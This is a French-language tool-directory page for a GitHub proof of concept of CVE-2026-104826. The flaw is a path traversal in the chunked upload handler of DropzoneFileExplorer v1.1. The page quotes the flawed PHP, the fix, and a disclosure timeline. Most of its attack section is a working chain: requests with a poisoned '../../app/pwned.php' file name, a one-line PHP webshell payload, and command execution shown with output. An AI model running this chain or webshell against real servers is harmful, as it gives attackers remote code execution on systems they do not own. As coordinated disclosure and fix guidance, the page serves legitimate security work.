Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-104826 — Chaîne d'exploitation proof-of-concept pour CVE-2026-104826, une traversée de chemin dans le gestionnaire d'upload par morceaux de DropzoneFileExplorer qui écrit un webshell PHP pour l'exécution de code à distance. | Kitploit
Outils/GitHubGitHub/kiwknr/cve-2026-104826
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionOutil d'Accès à Distance
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Chaîne d'exploitation proof-of-concept pour CVE-2026-104826, une traversée de chemin dans le gestionnaire d'upload par morceaux de DropzoneFileExplorer qui écrit un webshell PHP pour l'exécution de code à distance.

Voir le dépôt
1il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-104826 - Traversée de chemin vers RCE dans DropzoneFileExplorer

Le gestionnaire d'upload reprenable (par morceaux) fait confiance au fileName fourni par le client jusqu'à fopen(). Fournissez-lui ../../ et vous écrivez en dehors de votre dossier autorisé, hors de la racine de stockage, dans la racine web. L'application sert du PHP, donc le fichier que vous déposez s'exécute.

Projet : KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AvisGHSA-7626-89vx-5rpc
ClasseCWE-22 (Path Traversal) -> CWE-434 -> RCE
Authauthentifié par défaut, non authentifié si AUTH_ENABLE=false
CVSS v4.08.5 Élevé (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Affectév1.1 (testé au commit 68858e0)
Corrigé dansv1.2
CréditKanarat Kaeothong (Axiom0x)

Où ça casse

Deux fonctions comptent. uploadInit prend fileName depuis le corps de la requête et le conserve tel quel avec seulement un trim() (inc/functions.php, vers L2080) :

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize le relit ensuite et assemble le chemin de sortie (inc/functions.php, L2192-2216) :

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() est correcte en soi. Elle appelle realpath() et s'assure que le chemin reste sous les racines de l'utilisateur. Le problème, c'est ce qu'on lui passe. $destBaseAbs et $finalDirAbs sont tous deux validés, mais $finalAbs, celui qui contient réellement le fileName de l'attaquant, ne l'est jamais. fopen() reçoit la chaîne brute .../shared/../../app/shell.php et le système d'exploitation réduit les .. pour vous.

À noter : tous les autres chemins d'écriture dans ce codebase passent soit le chemin composé par ensure_inside_allowed_roots(), soit enveloppent le nom dans basename(). Celui-ci ne fait ni l'un ni l'autre. On dirait un endroit qui a été refactorisé et où la vérification finale a été perdue.

Reproduire

v1.1 d'origine, configuration par défaut (AUTH_ENABLE=true). L'acteur est un utilisateur normal lowpriv dont le seul dossier est shared.

  1. Connectez-vous en tant que lowpriv (récupérez le jeton CSRF sur la page de connexion, puis POST auth_action=login).

  2. Confirmez que le bac à sable fonctionne réellement. Un upload directement dans le dossier de quelqu'un d'autre est refusé :

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Utilisez le dossier autorisé, mais empoisonnez fileName :

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Envoyez la charge utile en un seul morceau :

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Finalisez :

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    La réponse indique app/pwned.php. L'application elle-même vous dit qu'elle a écrit en dehors de shared et en dehors de la racine de stockage.

  6. Exécutez-le :

    GET /pwned.php?c=id
    -> uid=... (command output)
    

D'après ma propre exécution contre une instance locale :

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

Voir poc/exploit.py pour la chaîne complète (login, CSRF, poison, chunk, finalize, execute).

Impact

Quiconque est autorisé à uploader peut écrire un fichier partout où le processus PHP peut écrire, quelles que soient les règles de dossier par utilisateur. Un fichier .php dans la racine web, c'est l'exécution de code à distance en tant qu'utilisateur web. Avec AUTH_ENABLE=false, il n'y a pas d'étape de connexion et c'est du RCE non authentifié direct.

Correctif

Dans uploadFinalize, réduisez fileName à un simple nom avant de l'ouvrir, et revérifiez le chemin composé :

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename() seul arrête la traversée. Ajouter la vérification ensure_inside_allowed_roots($finalAbs) est la version ceinture et bretelles, et cela correspond à la façon dont le reste du code protège déjà les écritures. Le même traitement doit être appliqué à la branche de politique rename (vers L2210) où $finalName est recalculé. Le mainteneur a intégré cela dans la v1.2.

Chronologie

  • 2026-07-26 découverte, construction et exécution de la chaîne complète contre une v1.1 locale
  • 2026-07-27 signalé en privé (GitHub Security + e-mail au mainteneur)
  • 2026-07-27 GHSA privé ouvert (GHSA-7626-89vx-5rpc)
  • 2026-07-28 le mainteneur confirme et publie la v1.2, avis publié
  • 2026-10-02 le CNA GitHub attribue CVE-2026-104826

Références

  • Avis : https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-104826

Divulgation coordonnée, corrigée avant que cela ne devienne public. Le PoC vise délibérément une instance de test locale. Ne le pointez pas vers quelque chose que vous ne possédez pas.

Télécharger l’outil